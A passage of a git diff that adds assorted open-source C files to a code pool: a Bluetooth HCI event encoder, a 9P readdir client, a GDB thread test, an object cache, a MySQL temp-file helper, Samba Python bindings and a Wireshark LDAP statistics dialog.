+/*************************************************************************************************/ +bool_t lhciScEncodeEvtPkt(LlEvt_t *pEvt) +{ + uint8_t *pEvtBuf = NULL; + + switch (pEvt->hdr.event) + { + case LL_READ_LOCAL_P256_PUB_KEY_CMPL_IND: + if ((lhciCb.leEvtMsk & ((uint64_t)(HCI_EVT_MASK_LE_READ_LOCAL_P256_PUB_KEY_CMPL) << LHCI_BYTE_TO_BITS(0))) && + (lhciCb.evtMsk & ((uint64_t)(HCI_EVT_MASK_LE_META) << LHCI_BYTE_TO_BITS(7)))) + { + if ((pEvtBuf = lhciAllocEvt(HCI_LE_META_EVT, HCI_LEN_LE_READ_PUB_KEY_CMPL)) != NULL) + { + lhciPackReadLocalP256PubKeyCmplEvt(pEvtBuf, &pEvt->readLocalP256PubKeyInd); + } + } + break; + case LL_GENERATE_DHKEY_CMPL_IND: + if ((lhciCb.leEvtMsk & ((uint64_t)(HCI_EVT_MASK_LE_GENERATE_DHKEY_CMPL) << LHCI_BYTE_TO_BITS(1))) && + (lhciCb.evtMsk & ((uint64_t)(HCI_EVT_MASK_LE_META) << LHCI_BYTE_TO_BITS(7)))) + { + if ((pEvtBuf = lhciAllocEvt(HCI_LE_META_EVT, HCI_LEN_LE_GEN_DHKEY_CMPL)) != NULL) + { + lhciPackGenerateDhKeyCmplEvt(pEvtBuf, &pEvt->generateDhKeyInd); + } + } + break; + + default: + break; + } + + if (pEvtBuf) + { + lhciSendEvt(pEvtBuf); + return TRUE; + } + + return FALSE; +} diff --git a/pool/shard011/C/0141567_readdir.c b/pool/shard011/C/0141567_readdir.c new file mode 100644 index 0000000000000000000000000000000000000000..e7a1757e77f51abbf959c3fc20e282fe7af567a1 --- /dev/null +++ b/pool/shard011/C/0141567_readdir.c @@ -0,0 +1,144 @@ +/*************************************************************\ + * Copyright (C) 2005 by Latchesar Ionkov + * Copyright (C) 2010 by Lawrence Livermore National Security, LLC. + * + * This file is part of npfs, a framework for 9P synthetic file systems. + * For details see https://sourceforge.net/projects/npfs. + * + * SPDX-License-Identifier: MIT + *************************************************************/ + +#if HAVE_CONFIG_H +#include "config.h" +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "9p.h" +#include "npfs.h" +#include "npclient.h" +#include "npcimpl.h" + +int +npc_readdir (Npcfid *fid, u64 offset, char *data, u32 count) +{ + Npfcall *tc = NULL, *rc = NULL; + int ret = -1; + + if (!(tc = np_create_treaddir(fid->fid, offset, count))) { + np_uerror (ENOMEM); + goto done; + } + if (fid->fsys->rpc(fid->fsys, tc, &rc) < 0) + goto done; + NP_ASSERT(rc->u.rreaddir.count <= count); + memcpy (data, rc->u.rreaddir.data, rc->u.rreaddir.count); + ret = rc->u.rreaddir.count; +done: + if (tc) + free(tc); + if (rc) + free(rc); + return ret; +} + +Npcfid * +npc_opendir (Npcfid *root, char *path) +{ + Npcfid *fid = NULL; + struct stat sb; + + if ((fid = npc_open_bypath (root, path, O_RDONLY))) { + if (npc_fstat (fid, &sb) < 0) + goto error; + if (!S_ISDIR (sb.st_mode)) { + np_uerror (ENOTDIR); + goto error; + } + fid->buf_size = root->fsys->msize - P9_IOHDRSZ; + if (!(fid->buf = malloc (fid->buf_size))) { + (void)npc_clunk (fid); + np_uerror (ENOMEM); + fid = NULL; + } + fid->offset = 0; + fid->buf_len = 0; + fid->buf_used = 0; + } + return fid; +error: + if (fid) + npc_clunk(fid); + return NULL; +} + +/* Returns error code > 0 on error. + * Returns 0 on success: result set to NULL at EOF, o/w set to entry + */ +int +npc_readdir_r (Npcfid *fid, struct dirent *entry, struct dirent **result) +{ + Npqid qid; + int dname_size = PATH_MAX + 1; + u64 offset; + u8 type; + int res; + + if (!fid->buf) /* not opened with npc_opendir */ + return EINVAL; + + if (fid->buf_used >= fid->buf_len) { + fid->buf_len = npc_readdir (fid, fid->offset, fid->buf, + fid->buf_size); + if (fid->buf_len < 0) + return np_rerror (); + if (fid->buf_len == 0) { /* EOF */ + *result = NULL; + return 0; + } + fid->buf_used = 0; + } + res = np_deserialize_p9dirent (&qid, &offset, &type, + entry->d_name, dname_size, + (u8 *)fid->buf + fid->buf_used, + fid->buf_len - fid->buf_used); + if (res == 0) + return EIO; +#ifdef _DIRENT_HAVE_D_OFF + entry->d_off = offset; +#endif + entry->d_type = type; + entry->d_ino = qid.path; + //entry->d_reclen + fid->offset = offset; + fid->buf_used += res; + *result = entry; + return 0; +} + +void +npc_seekdir (Npcfid *fid, long offset) +{ + fid->offset = offset; + fid->buf_used = fid->buf_len; /* force a 9p readdir call */ +} + +long +npc_telldir (Npcfid *fid) +{ + return fid->offset; +} diff --git a/pool/shard011/C/0141568_attach-many-short-lived-threads.c b/pool/shard011/C/0141568_attach-many-short-lived-threads.c new file mode 100644 index 0000000000000000000000000000000000000000..001f2ffe80aeca11d8e20d844c535adec11c1318 --- /dev/null +++ b/pool/shard011/C/0141568_attach-many-short-lived-threads.c @@ -0,0 +1,151 @@ +/* This testcase is part of GDB, the GNU debugger. + + Copyright 2014-2015 Free Software Foundation, Inc. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +pthread_t main_thread; +pthread_attr_t detached_attr; +pthread_attr_t joinable_attr; + +/* Number of threads we'll create of each variant + (joinable/detached). */ +int n_threads = 50; + +/* Mutex used to hold creating detached threads. */ +pthread_mutex_t dthrds_create_mutex; + +/* Wrapper for pthread_create. */ + +void +create_thread (pthread_attr_t *attr, + void *(*start_routine) (void *), void *arg) +{ + pthread_t child; + int rc; + + while ((rc = pthread_create (&child, attr, start_routine, arg)) != 0) + { + fprintf (stderr, "unexpected error from pthread_create: %s (%d)\n", + strerror (rc), rc); + sleep (1); + } +} + +void +break_fn (void) +{ +} + +/* Data passed to joinable threads on creation. This is allocated on + the heap and ownership transferred from parent to child. (We do + this because it's not portable to cast pthread_t to pointer.) */ + +struct thread_arg +{ + pthread_t parent; +}; + +/* Entry point for joinable threads. These threads first join their + parent before spawning a new child (and exiting). The parent's tid + is passed as pthread_create argument, encapsulated in a struct + thread_arg object. */ + +void * +joinable_fn (void *arg) +{ + struct thread_arg *p = arg; + + pthread_setname_np (pthread_self (), "joinable"); + + if (p->parent != main_thread) + assert (pthread_join (p->parent, NULL) == 0); + + p->parent = pthread_self (); + + create_thread (&joinable_attr, joinable_fn, p); + + break_fn (); + + return NULL; +} + +/* Entry point for detached threads. */ + +void * +detached_fn (void *arg) +{ + pthread_setname_np (pthread_self (), "detached"); + + /* This should throttle threads a bit in case we manage to spawn + threads faster than they exit. */ + pthread_mutex_lock (&dthrds_create_mutex); + + create_thread (&detached_attr, detached_fn, NULL); + + /* Note this is called before the mutex is unlocked otherwise in + non-stop mode, when the breakpoint is hit we'd keep spawning more + threads forever while the old threads stay alive (stopped in the + breakpoint). */ + break_fn (); + + pthread_mutex_unlock (&dthrds_create_mutex); + + return NULL; +} + +int +main (int argc, char *argv[]) +{ + int i; + + if (argc > 1) + n_threads = atoi (argv[1]); + + pthread_mutex_init (&dthrds_create_mutex, NULL); + + pthread_attr_init (&detached_attr); + pthread_attr_setdetachstate (&detached_attr, PTHREAD_CREATE_DETACHED); + pthread_attr_init (&joinable_attr); + pthread_attr_setdetachstate (&joinable_attr, PTHREAD_CREATE_JOINABLE); + + main_thread = pthread_self (); + + /* Spawn the initial set of test threads. Some threads are + joinable, others are detached. This exercises different code + paths in the runtime. */ + for (i = 0; i < n_threads; ++i) + { + struct thread_arg *p; + + p = malloc (sizeof *p); + p->parent = main_thread; + create_thread (&joinable_attr, joinable_fn, p); + + create_thread (&detached_attr, detached_fn, NULL); + } + + /* Long enough for all the attach/detach sequences done by the .exp + file. */ + sleep (180); + return 0; +} diff --git a/pool/shard011/C/0141569_cache.c b/pool/shard011/C/0141569_cache.c new file mode 100644 index 0000000000000000000000000000000000000000..44f70cb895b57c88c509494e573a4e4f600d6460 --- /dev/null +++ b/pool/shard011/C/0141569_cache.c @@ -0,0 +1,168 @@ +/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- */ +#include "config.h" +#include +#include +#include +#include + +#ifndef NDEBUG +#include +#endif + +#include "cache.h" + +#ifndef NDEBUG +const uint64_t redzone_pattern = 0xdeadbeefcafebabe; +int cache_error = 0; +#endif + +const int initial_pool_size = 64; + +static bool inFreeList(cache_t *cache, void *object) { + bool rv = false; + size_t i; + for (i = 0; i < cache->freecurr; i++) { + rv |= cache->ptr[i] == object; + } + return rv; +} + +cache_t* cache_create(const char *name, size_t bufsize, size_t align, + cache_constructor_t* constructor, + cache_destructor_t* destructor) { + cache_t* ret = calloc(1, sizeof(cache_t)); + char* nm = strdup(name); + void** ptr = calloc(initial_pool_size, sizeof(void*)); + if (ret == NULL || nm == NULL || ptr == NULL) { + free(ret); + free(nm); + free(ptr); + return NULL; + } + + cb_mutex_initialize(&ret->mutex); + ret->name = nm; + ret->ptr = ptr; + ret->freetotal = initial_pool_size; + ret->constructor = constructor; + ret->destructor = destructor; + +#ifndef NDEBUG + ret->bufsize = bufsize + 2 * sizeof(redzone_pattern); +#else + ret->bufsize = bufsize; +#endif + + return ret; +} + +static void* get_object(void *ptr) { +#ifndef NDEBUG + uint64_t *pre = ptr; + return pre + 1; +#else + return ptr; +#endif +} + +void cache_destroy(cache_t *cache) { + while (cache->freecurr > 0) { + void *ptr = cache->ptr[--cache->freecurr]; + if (cache->destructor) { + cache->destructor(get_object(ptr), NULL); + } + free(ptr); + } + free(cache->name); + free(cache->ptr); + cb_mutex_destroy(&cache->mutex); + free(cache); +} + +void* cache_alloc(cache_t *cache) { + void *ret; + void *object; + cb_mutex_enter(&cache->mutex); + if (cache->freecurr > 0) { + ret = cache->ptr[--cache->freecurr]; + object = get_object(ret); + cb_assert(!inFreeList(cache, ret)); + } else { + object = ret = malloc(cache->bufsize); + if (ret != NULL) { + object = get_object(ret); + + if (cache->constructor != NULL && + cache->constructor(object, NULL, 0) != 0) { + free(ret); + object = NULL; + } + } + } + cb_mutex_exit(&cache->mutex); + +#ifndef NDEBUG + if (object != NULL) { + /* add a simple form of buffer-check */ + uint64_t *pre = ret; + *pre = redzone_pattern; + ret = pre+1; + memcpy(((char*)ret) + cache->bufsize - (2 * sizeof(redzone_pattern)), + &redzone_pattern, sizeof(redzone_pattern)); + } +#endif + + return object; +} + +void cache_free(cache_t *cache, void *object) { + void *ptr = object; +#ifndef NDEBUG + uint64_t *pre = ptr; +#endif + + cb_mutex_enter(&cache->mutex); + +#ifndef NDEBUG + /* validate redzone... */ + if (memcmp(((char*)ptr) + cache->bufsize - (2 * sizeof(redzone_pattern)), + &redzone_pattern, sizeof(redzone_pattern)) != 0) { + raise(SIGABRT); + cache_error = 1; + cb_mutex_exit(&cache->mutex); + return; + } + --pre; + if (*pre != redzone_pattern) { + raise(SIGABRT); + cache_error = -1; + cb_mutex_exit(&cache->mutex); + return; + } + ptr = pre; +#endif + cb_assert(!inFreeList(cache, ptr)); + if (cache->freecurr < cache->freetotal) { + cache->ptr[cache->freecurr++] = ptr; + cb_assert(inFreeList(cache, ptr)); + } else { + /* try to enlarge free connections array */ + size_t newtotal = cache->freetotal * 2; + void **new_free; + cb_assert(newtotal > 0); + new_free = realloc(cache->ptr, sizeof(void *) * newtotal); + if (new_free) { + cache->freetotal = newtotal; + cache->ptr = new_free; + cache->ptr[cache->freecurr++] = ptr; + cb_assert(inFreeList(cache, ptr)); + } else { + if (cache->destructor) { + cache->destructor(ptr, NULL); + } + free(ptr); + cb_assert(!inFreeList(cache, ptr)); + } + } + cb_mutex_exit(&cache->mutex); +} diff --git a/pool/shard011/C/0141570_mf_tempfile.c b/pool/shard011/C/0141570_mf_tempfile.c new file mode 100644 index 0000000000000000000000000000000000000000..3316628caacfb8aad76d63f2053cf67428af7358 --- /dev/null +++ b/pool/shard011/C/0141570_mf_tempfile.c @@ -0,0 +1,138 @@ +/* Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved. + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; version 2 of the License. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ + +#include "mysys_priv.h" +#include +#include "my_static.h" +#include "mysys_err.h" +#include + + +/* + @brief + Create a temporary file with unique name in a given directory + + @details + create_temp_file + to pointer to buffer where temporary filename will be stored + dir directory where to create the file + prefix prefix the filename with this + mode Flags to use for my_create/my_open + MyFlags Magic flags + + @return + File descriptor of opened file if success + -1 and sets errno if fails. + + @note + The behaviour of this function differs a lot between + implementation, it's main use is to generate a file with + a name that does not already exist. + + When passing O_TEMPORARY flag in "mode" the file should + be automatically deleted + + The implementation using mkstemp should be considered the + reference implementation when adding a new or modifying an + existing one + +*/ + +File create_temp_file(char *to, const char *dir, const char *prefix, + int mode, myf MyFlags) +{ + File file= -1; +#ifdef _WIN32 + TCHAR path_buf[MAX_PATH-14]; +#endif + + DBUG_ENTER("create_temp_file"); + DBUG_PRINT("enter", ("dir: %s, prefix: %s", dir, prefix)); +#if defined(_WIN32) + + /* + Use GetTempPath to determine path for temporary files. + This is because the documentation for GetTempFileName + has the following to say about this parameter: + "If this parameter is NULL, the function fails." + */ + if (!dir) + { + if(GetTempPath(sizeof(path_buf), path_buf) > 0) + dir = path_buf; + } + /* + Use GetTempFileName to generate a unique filename, create + the file and release it's handle + - uses up to the first three letters from prefix + */ + if (GetTempFileName(dir, prefix, 0, to) == 0) + DBUG_RETURN(-1); + + DBUG_PRINT("info", ("name: %s", to)); + + /* + Open the file without the "open only if file doesn't already exist" + since the file has already been created by GetTempFileName + */ + if ((file= my_open(to, (mode & ~O_EXCL), MyFlags)) < 0) + { + /* Open failed, remove the file created by GetTempFileName */ + int tmp= my_errno; + (void) my_delete(to, MYF(0)); + my_errno= tmp; + } + +#else /* mkstemp() is available on all non-Windows supported platforms. */ + { + char prefix_buff[30]; + uint pfx_len; + File org_file; + + pfx_len= (uint) (my_stpcpy(my_stpnmov(prefix_buff, + prefix ? prefix : "tmp.", + sizeof(prefix_buff)-7),"XXXXXX") - + prefix_buff); + if (!dir && ! (dir =getenv("TMPDIR"))) + dir= DEFAULT_TMPDIR; + if (strlen(dir)+ pfx_len > FN_REFLEN-2) + { + errno=my_errno= ENAMETOOLONG; + DBUG_RETURN(file); + } + my_stpcpy(convert_dirname(to,dir,NullS),prefix_buff); + org_file=mkstemp(to); + if (mode & O_TEMPORARY) + (void) my_delete(to, MYF(MY_WME | ME_NOINPUT)); + file=my_register_filename(org_file, to, FILE_BY_MKSTEMP, + EE_CANTCREATEFILE, MyFlags); + /* If we didn't manage to register the name, remove the temp file */ + if (org_file >= 0 && file < 0) + { + int tmp=my_errno; + close(org_file); + (void) my_delete(to, MYF(MY_WME | ME_NOINPUT)); + my_errno=tmp; + } + } +#endif + if (file >= 0) + { + mysql_mutex_lock(&THR_LOCK_open); + my_tmp_file_created++; + mysql_mutex_unlock(&THR_LOCK_open); + } + DBUG_RETURN(file); +} diff --git a/pool/shard011/C/0141571_py_srvsvc.c b/pool/shard011/C/0141571_py_srvsvc.c new file mode 100644 index 0000000000000000000000000000000000000000..4e5649bdb875fdb3a723bd6f848926bf0bf58cda --- /dev/null +++ b/pool/shard011/C/0141571_py_srvsvc.c @@ -0,0 +1,215 @@ +/* + Python wrappers for DCERPC/SMB client routines. + + Copyright (C) Tim Potter, 2003 + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +*/ + +#include "python/py_srvsvc.h" + +/* Exceptions this module can raise */ + +PyObject *srvsvc_error, *srvsvc_werror; + +static struct const_vals { + char *name; + uint32 value; +} module_const_vals[] = { + { "SV_TYPE_WORKSTATION", SV_TYPE_WORKSTATION }, + { "SV_TYPE_SERVER", SV_TYPE_SERVER }, + { "SV_TYPE_SQLSERVER", SV_TYPE_SQLSERVER }, + { "SV_TYPE_DOMAIN_CTRL", SV_TYPE_DOMAIN_CTRL }, + { "SV_TYPE_DOMAIN_BAKCTRL", SV_TYPE_DOMAIN_BAKCTRL }, + { "SV_TYPE_TIME_SOURCE", SV_TYPE_TIME_SOURCE }, + { "SV_TYPE_AFP", SV_TYPE_AFP }, + { "SV_TYPE_NOVELL", SV_TYPE_NOVELL }, + { "SV_TYPE_DOMAIN_MEMBER", SV_TYPE_DOMAIN_MEMBER }, + { "SV_TYPE_PRINTQ_SERVER", SV_TYPE_PRINTQ_SERVER }, + { "SV_TYPE_DIALIN_SERVER", SV_TYPE_DIALIN_SERVER }, + { "SV_TYPE_SERVER_UNIX", SV_TYPE_SERVER_UNIX }, + { "SV_TYPE_NT", SV_TYPE_NT }, + { "SV_TYPE_WFW", SV_TYPE_WFW }, + { "SV_TYPE_SERVER_MFPN", SV_TYPE_SERVER_MFPN }, + { "SV_TYPE_SERVER_NT", SV_TYPE_SERVER_NT }, + { "SV_TYPE_POTENTIAL_BROWSER", SV_TYPE_POTENTIAL_BROWSER }, + { "SV_TYPE_BACKUP_BROWSER", SV_TYPE_BACKUP_BROWSER }, + { "SV_TYPE_MASTER_BROWSER", SV_TYPE_MASTER_BROWSER }, + { "SV_TYPE_DOMAIN_MASTER", SV_TYPE_DOMAIN_MASTER }, + { "SV_TYPE_SERVER_OSF", SV_TYPE_SERVER_OSF }, + { "SV_TYPE_SERVER_VMS", SV_TYPE_SERVER_VMS }, + { "SV_TYPE_WIN95_PLUS", SV_TYPE_WIN95_PLUS }, + { "SV_TYPE_DFS_SERVER", SV_TYPE_DFS_SERVER }, + { "SV_TYPE_ALTERNATE_XPORT", SV_TYPE_ALTERNATE_XPORT }, + { "SV_TYPE_LOCAL_LIST_ONLY", SV_TYPE_LOCAL_LIST_ONLY }, + { "SV_TYPE_DOMAIN_ENUM", SV_TYPE_DOMAIN_ENUM }, + { NULL }, +}; + +static void const_init(PyObject *dict) +{ + struct const_vals *tmp; + PyObject *obj; + + for (tmp = module_const_vals; tmp->name; tmp++) { + obj = PyInt_FromLong(tmp->value); + PyDict_SetItemString(dict, tmp->name, obj); + Py_DECREF(obj); + } +} + +/* NetServerGetInfo */ + +PyObject *srvsvc_netservergetinfo(PyObject *self, PyObject *args, + PyObject *kw) +{ + static char *kwlist[] = { "server", "level", "creds", NULL }; + char *unc_name, *server, *errstr; + PyObject *creds = NULL, *result = NULL; + struct cli_state *cli; + TALLOC_CTX *mem_ctx = NULL; + uint32 level; + SRV_INFO_CTR ctr; + WERROR status; + + if (!PyArg_ParseTupleAndKeywords( + args, kw, "si|O", kwlist, &unc_name, &level, &creds)) + return NULL; + + if (unc_name[0] != '\\' || unc_name[1] != '\\') { + PyErr_SetString(PyExc_ValueError, "UNC name required"); + return NULL; + } + + server = SMB_STRDUP(unc_name + 2); + + if (strchr(server, '\\')) { + char *c = strchr(server, '\\'); + *c = 0; + } + + if (creds && creds != Py_None && !PyDict_Check(creds)) { + PyErr_SetString(PyExc_TypeError, + "credentials must be dictionary or None"); + return NULL; + } + + if (!(cli = open_pipe_creds(server, creds, PI_SRVSVC, &errstr))) { + PyErr_SetString(srvsvc_error, errstr); + free(errstr); + goto done; + } + + if (!(mem_ctx = talloc_init("srvsvc_netservergetinfo"))) { + PyErr_SetString(srvsvc_error, + "unable to init talloc context\n"); + goto done; + } + + ZERO_STRUCT(ctr); + + status = rpccli_srvsvc_net_srv_get_info(cli->pipe_list, mem_ctx, level, &ctr); + + if (!W_ERROR_IS_OK(status)) { + PyErr_SetObject(srvsvc_error, py_werror_tuple(status)); + goto done; + } + + if (level != ctr.switch_value) { + PyErr_SetString(srvsvc_error, "container level value wrong"); + goto done; + } + + switch(level) { + case 101: + py_from_SRV_INFO_101(&result, &ctr.srv.sv101); + break; + } + + Py_INCREF(result); + +done: + if (mem_ctx) + talloc_destroy(mem_ctx); + + return result; +} + +/* + * Module initialisation + */ + +static PyMethodDef srvsvc_methods[] = { + { "netservergetinfo", (PyCFunction)srvsvc_netservergetinfo, + METH_VARARGS | METH_KEYWORDS, + "Retrieve information about a particular server." }, + + { "setup_logging", (PyCFunction)py_setup_logging, + METH_VARARGS | METH_KEYWORDS, + "Set up debug logging.\n" +"\n" +"Initialises Samba's debug logging system. One argument is expected which\n" +"is a boolean specifying whether debugging is interactive and sent to stdout\n" +"or logged to a file.\n" +"\n" +"Example:\n" +"\n" +">>> srvsvc.setup_logging(interactive = 1)" }, + + { "get_debuglevel", (PyCFunction)get_debuglevel, + METH_VARARGS, + "Set the current debug level.\n" +"\n" +"Example:\n" +"\n" +">>> srvsvc.get_debuglevel()\n" +"0" }, + + { "set_debuglevel", (PyCFunction)set_debuglevel, + METH_VARARGS, + "Get the current debug level.\n" +"\n" +"Example:\n" +"\n" +">>> srvsvc.set_debuglevel(10)" }, + + { NULL } +}; + +void initsrvsvc(void) +{ + PyObject *module, *dict; + + /* Initialise module */ + + module = Py_InitModule("srvsvc", srvsvc_methods); + dict = PyModule_GetDict(module); + + /* Exceptions we can raise */ + + srvsvc_error = PyErr_NewException("srvsvc.error", NULL, NULL); + PyDict_SetItemString(dict, "error", srvsvc_error); + + srvsvc_werror = PyErr_NewException("srvsvc.werror", NULL, NULL); + PyDict_SetItemString(dict, "werror", srvsvc_werror); + + /* Initialise constants */ + + const_init(dict); + + /* Do samba initialisation */ + + py_samba_init(); +} diff --git a/pool/shard011/C/0141572_ldap_stat.c b/pool/shard011/C/0141572_ldap_stat.c new file mode 100644 index 0000000000000000000000000000000000000000..3b08532dfb89104c9d474bc3db4e05d6883ce59a --- /dev/null +++ b/pool/shard011/C/0141572_ldap_stat.c @@ -0,0 +1,238 @@ +/* ldap_stat.c + * ldap_stat 2003 Ronnie Sahlberg + * + * Wireshark - Network traffic analyzer + * By Gerald Combs + * Copyright 1998 Gerald Combs + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include "config.h" + +#include + +#include + +#include +#include +#include +#include + +#include "ui/simple_dialog.h" + +#include "ui/gtk/gui_utils.h" +#include "ui/gtk/dlg_utils.h" +#include "ui/gtk/service_response_time_table.h" +#include "ui/gtk/tap_param_dlg.h" +#include "ui/gtk/main.h" + + +void register_tap_listener_gtkldapstat(void); + +/* used to keep track of the statistics for an entire program interface */ +typedef struct _ldapstat_t { + GtkWidget *win; + srt_stat_table ldap_srt_table; +} ldapstat_t; + +static void +ldapstat_set_title(ldapstat_t *ldap) +{ + set_window_title(ldap->win, "LDAP Service Response Time statistics"); +} + +static void +ldapstat_reset(void *pldap) +{ + ldapstat_t *ldap=(ldapstat_t *)pldap; + + reset_srt_table_data(&ldap->ldap_srt_table); + ldapstat_set_title(ldap); +} + +static int +ldapstat_packet(void *pldap, packet_info *pinfo, epan_dissect_t *edt _U_, const void *psi) +{ + const ldap_call_response_t *ldap=(const ldap_call_response_t *)psi; + ldapstat_t *fs=(ldapstat_t *)pldap; + + /* we are only interested in reply packets */ + if(ldap->is_request){ + return 0; + } + /* if we havnt seen the request, just ignore it */ + if(!ldap->req_frame){ + return 0; + } + + /* only use the commands we know how to handle */ + switch(ldap->protocolOpTag){ + case LDAP_REQ_BIND: + case LDAP_REQ_SEARCH: + case LDAP_REQ_MODIFY: + case LDAP_REQ_ADD: + case LDAP_REQ_DELETE: + case LDAP_REQ_MODRDN: + case LDAP_REQ_COMPARE: + case LDAP_REQ_EXTENDED: + break; + default: + return 0; + } + + add_srt_table_data(&fs->ldap_srt_table, ldap->protocolOpTag, &ldap->req_time, pinfo); + + return 1; +} + + + +static void +ldapstat_draw(void *pldap) +{ + ldapstat_t *ldap=(ldapstat_t *)pldap; + + draw_srt_table_data(&ldap->ldap_srt_table); +} + + +static void +win_destroy_cb(GtkWindow *win _U_, gpointer data) +{ + ldapstat_t *ldap=(ldapstat_t *)data; + + remove_tap_listener(ldap); + + free_srt_table_data(&ldap->ldap_srt_table); + g_free(ldap); +} + + +static void +gtk_ldapstat_init(const char *opt_arg, void *userdata _U_) +{ + ldapstat_t *ldap; + const char *filter=NULL; + GtkWidget *label; + char *filter_string; + GString *error_string; + GtkWidget *vbox; + GtkWidget *bbox; + GtkWidget *close_bt; + + if(!strncmp(opt_arg,"ldap,srt,",9)){ + filter=opt_arg+9; + } else { + filter=NULL; + } + + ldap=(ldapstat_t *)g_malloc(sizeof(ldapstat_t)); + + ldap->win = dlg_window_new("ldap-stat"); + gtk_window_set_destroy_with_parent (GTK_WINDOW(ldap->win), TRUE); + gtk_window_set_default_size(GTK_WINDOW(ldap->win), 550, 400); + ldapstat_set_title(ldap); + + vbox=ws_gtk_box_new(GTK_ORIENTATION_VERTICAL, 3, FALSE); + gtk_container_add(GTK_CONTAINER(ldap->win), vbox); + gtk_container_set_border_width(GTK_CONTAINER(vbox), 12); + + label=gtk_label_new("LDAP Service Response Time statistics"); + gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); + + filter_string = g_strdup_printf("Filter: %s", filter ? filter : ""); + label=gtk_label_new(filter_string); + g_free(filter_string); + gtk_label_set_line_wrap(GTK_LABEL(label), TRUE); + gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); + + label=gtk_label_new("LDAP Commands"); + gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); + + /* We must display TOP LEVEL Widget before calling init_srt_table() */ + gtk_widget_show_all(ldap->win); + + init_srt_table(&ldap->ldap_srt_table, 24, vbox, NULL); + init_srt_table_row(&ldap->ldap_srt_table, 0, "Bind"); + init_srt_table_row(&ldap->ldap_srt_table, 1, ""); + init_srt_table_row(&ldap->ldap_srt_table, 2, ""); + init_srt_table_row(&ldap->ldap_srt_table, 3, "Search"); + init_srt_table_row(&ldap->ldap_srt_table, 4, ""); + init_srt_table_row(&ldap->ldap_srt_table, 5, ""); + init_srt_table_row(&ldap->ldap_srt_table, 6, "Modify"); + init_srt_table_row(&ldap->ldap_srt_table, 7, ""); + init_srt_table_row(&ldap->ldap_srt_table, 8, "Add"); + init_srt_table_row(&ldap->ldap_srt_table, 9, ""); + init_srt_table_row(&ldap->ldap_srt_table, 10, "Delete"); + init_srt_table_row(&ldap->ldap_srt_table, 11, ""); + init_srt_table_row(&ldap->ldap_srt_table, 12, "Modrdn"); + init_srt_table_row(&ldap->ldap_srt_table, 13, ""); + init_srt_table_row(&ldap->ldap_srt_table, 14, "Compare"); + init_srt_table_row(&ldap->ldap_srt_table, 15, ""); + init_srt_table_row(&ldap->ldap_srt_table, 16, ""); + init_srt_table_row(&ldap->ldap_srt_table, 17, ""); + init_srt_table_row(&ldap->ldap_srt_table, 18, ""); + init_srt_table_row(&ldap->ldap_srt_table, 19, ""); + init_srt_table_row(&ldap->ldap_srt_table, 20, ""); + init_srt_table_row(&ldap->ldap_srt_table, 21, ""); + init_srt_table_row(&ldap->ldap_srt_table, 22, ""); + init_srt_table_row(&ldap->ldap_srt_table, 23, "Extended"); + + + error_string=register_tap_listener("ldap", ldap, filter, 0, ldapstat_reset, ldapstat_packet, ldapstat_draw); + if(error_string){ + simple_dialog(ESD_TYPE_ERROR, ESD_BTN_OK, "%s", error_string->str); + g_string_free(error_string, TRUE); + g_free(ldap); + return; + } + + /* Button row. */ + bbox = dlg_button_row_new(GTK_STOCK_CLOSE, NULL); + gtk_box_pack_end(GTK_BOX(vbox), bbox, FALSE, FALSE, 0); + + close_bt = (GtkWidget *)g_object_get_data(G_OBJECT(bbox), GTK_STOCK_CLOSE); + window_set_cancel_button(ldap->win, close_bt, window_cancel_button_cb); + + g_signal_connect(ldap->win, "delete_event", G_CALLBACK(window_delete_event_cb), NULL); + g_signal_connect(ldap->win, "destroy", G_CALLBACK(win_destroy_cb), ldap); + + gtk_widget_show_all(ldap->win); + window_present(ldap->win); + + cf_retap_packets(&cfile); + gdk_window_raise(gtk_widget_get_window(ldap->win)); +} + +static tap_param ldap_stat_params[] = { + { PARAM_FILTER, "filter", "Filter", NULL, TRUE } +}; + +static tap_param_dlg ldap_stat_dlg = { + "LDAP Service Response Time Statistics", + "ldap,srt", + gtk_ldapstat_init, + -1, + G_N_ELEMENTS(ldap_stat_params), + ldap_stat_params +}; + +void +register_tap_listener_gtkldapstat(void) +{ + register_param_stat(&ldap_stat_dlg, "LDAP", + REGISTER_STAT_GROUP_RESPONSE_TIME); +} diff --git a/pool/shard011/C/0141573_mali_kbase_runtime_pm.c 